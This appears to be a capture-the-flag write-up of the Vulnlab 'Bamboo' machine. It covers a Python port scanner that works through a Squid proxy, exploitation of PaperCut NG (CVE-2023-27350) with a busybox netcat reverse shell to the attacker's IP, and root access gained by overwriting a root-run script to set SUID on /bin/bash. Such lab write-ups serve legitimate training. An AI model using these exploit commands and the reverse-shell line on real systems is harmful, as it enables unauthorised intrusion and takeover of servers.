Vulnlab - Bamboo
Introduction
This write-up documents the process of identifying and exploiting vulnerabilities on a server hosting a Squid proxy and a vulnerable instance of PaperCut NG. Privilege escalation is achieved by leveraging weak file permissions and a misconfigured scheduled execution of a trusted binary.
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 83:b2:62:7d:9c:9c:1d:1c:43:8c:e3:e3:6a:49:f0:a7 (ECDSA)
|_ 256 cf:48:f5:f0:a6:c1:f5:cb:f8:65:18:95:43:b4:e7:e4 (ED25519)
3128/tcp open http-proxy Squid http proxy 5.2
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/5.2
The Squid proxy service on port 3128 is particularly noteworthy for enumeration.
Enumeration
Proxy Port Scanning
A Python script was written and used to scan the target’s open ports via the Squid proxy. The script leverages the CONNECT
HTTP method to identify open ports and fetch service banners:
import socket
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
def check_port_with_banner(proxy, proxy_port, target, port):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(2)
s.connect((proxy, proxy_port))
connect_request = f"CONNECT {target}:{port} HTTP/1.1\r\nHost: {target}:{port}\r\n\r\n"
s.sendall(connect_request.encode())
response = s.recv(1024).decode()
if "200 Connection established" in response:
banner = fetch_http_server_info(s)
return port, banner
except Exception as e:
pass
return None, None
def fetch_http_server_info(connected_socket):
try:
connected_socket.sendall(b"HEAD / HTTP/1.1\r\nHost: localhost\r\n\r\n")
response = connected_socket.recv(2048).decode()
server_info = parse_server_header(response)
return server_info
except Exception:
return "HTTP (No details)"
def parse_server_header(response):
headers = response.split("\r\n")
http_version = headers[0].split(" ")[0] if headers else "HTTP/1.1"
for header in headers:
if header.lower().startswith("server:"):
return f"{http_version} - {header.split(':', 1)[1].strip()}"
return http_version
def scan_ports(proxy, proxy_port, target, port_range, threads):
open_ports = []
start_port, end_port = port_range
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {
executor.submit(check_port_with_banner, proxy, proxy_port, target, port): port
for port in range(start_port, end_port + 1)
}
for future in as_completed(futures):
port, banner = future.result()
if port:
print(f"[+] Port {port} open - Service: {banner}")
open_ports.append((port, banner))
return open_ports
def main():
parser = argparse.ArgumentParser(description="Scan open ports through an HTTP proxy and fetch service banners.")
parser.add_argument("-p", "--proxy", required=True, help="HTTP proxy IP or hostname")
parser.add_argument("-pp", "--proxy-port", type=int, default=3128, help="HTTP proxy port (default: 3128)")
parser.add_argument("-t", "--target", required=True, help="Target IP or hostname")
parser.add_argument("-r", "--port-range", default="1-65535", help="Port range to scan (default: 1-65535)")
parser.add_argument("-th", "--threads", type=int, default=50, help="Number of concurrent threads (default: 50)")
args = parser.parse_args()
start_port, end_port = map(int, args.port_range.split('-'))
port_range = (start_port, end_port)
print(f"[+] Scanning ports {start_port}-{end_port} on {args.target} through proxy {args.proxy}:{args.proxy_port}")
print(f"[+] Using {args.threads} threads for scanning.")
open_ports = scan_ports(args.proxy, args.proxy_port, args.target, port_range, args.threads)
print("\n[+] Scan completed.")
for port, banner in open_ports:
print(f" - Port {port}: {banner}")
if __name__ == "__main__":
main()
└─$ python3 port_scan.py -p 10.10.80.172 -pp 3128 -t 10.10.80.172
[+] Scanning ports 1-10000 on 10.10.80.172 through proxy 10.10.80.172:3128
[+] Using 50 threads for scanning.
[+] Port 22 open - Service: SSH-2.0-OpenSSH_8.9p1
[+] Port 3128 open - Service: HTTP/1.1 - squid/5.2
[+] Port 9174 open - Service: HTTP/1.0
[+] Port 9173 open - Service: HTTP/1.1
[+] Port 9191 open - Service: HTTP/1.1
[+] Port 9193 open - Service:
[+] Port 9195 open - Service: P
[+] Port 9192 open - Service: P
Exploitation
PaperCut NG Vulnerability (CVE-2023-27350)
The service on port 9191 was identified as a PaperCut NG instance (version 22.0), vulnerable to an unauthenticated remote code execution (RCE) exploit.
The exploit is executed through proxychains to route the request through Squid:
└─$ proxychains python3 CVE-2023-27350.py -u http://127.0.0.1:9191 -c 'busybox nc 10.8.4.110 8787 -e bash'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y
A Netcat listener was set up on port 8787 to catch the reverse shell:
└─$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.8.4.110] from (UNKNOWN) [10.10.78.83] 42978
whoami
papercut
python3 -c "import pty; pty.spawn('/bin/bash')"
The user flag was retrieved:
papercut@bamboo:~$ cat user.txt
VL{CENSORED}
Privilege Escalation
Identifying Scheduled Execution
Using pspy
to monitor processes, it was discovered that server-command
was executed as root
when triggered through the PaperCut web interface:
papercut@bamboo:~$ ./pspy64
...
2024/12/17 10:59:08 CMD: UID=0 PID=51336 | /bin/sh /home/papercut/server/bin/linux-x64/server-command get-config health.api.key
...
The binary server-command
was writable by the papercut
user:
papercut@bamboo:~$ ls -la /home/papercut/server/bin/linux-x64/server-command
-rwxr-xr-x 1 papercut papercut 493 Sep 29 2022 /home/papercut/server/bin/linux-x64/server-command
Overwriting server-command
The binary was replaced with a script to grant SUID permissions to /bin/bash
:
papercut@bamboo:~$ cp /home/papercut/server/bin/linux-x64/server-command /home/papercut/server/bin/linux-x64/server-command.bak
papercut@bamboo:~$ echo -e '#!/bin/sh\nchmod ug+s /bin/bash' > /home/papercut/server/bin/linux-x64/server-command
Triggering the Vulnerability
The "Refresh servers" option in the PaperCut interface triggered the execution of server-command
as root. This was observed with pspy
:
...
2024/12/17 11:06:42 CMD: UID=0 PID=51396 | bash -c "/home/papercut/server/bin/linux-x64/server-command" get-config health.api.key
2024/12/17 11:06:42 CMD: UID=0 PID=51397 | chmod ug+s /bin/bash
Gaining Root Access
With SUID permissions set on /bin/bash
, a root shell was obtained:
papercut@bamboo:~$ bash -p
bash-5.1# id
uid=1001(papercut) gid=1001(papercut) euid=0(root) egid=0(root) groups=0(root),1001(papercut)
bash-5.1# cat /root/root.txt
VL{CENSORED}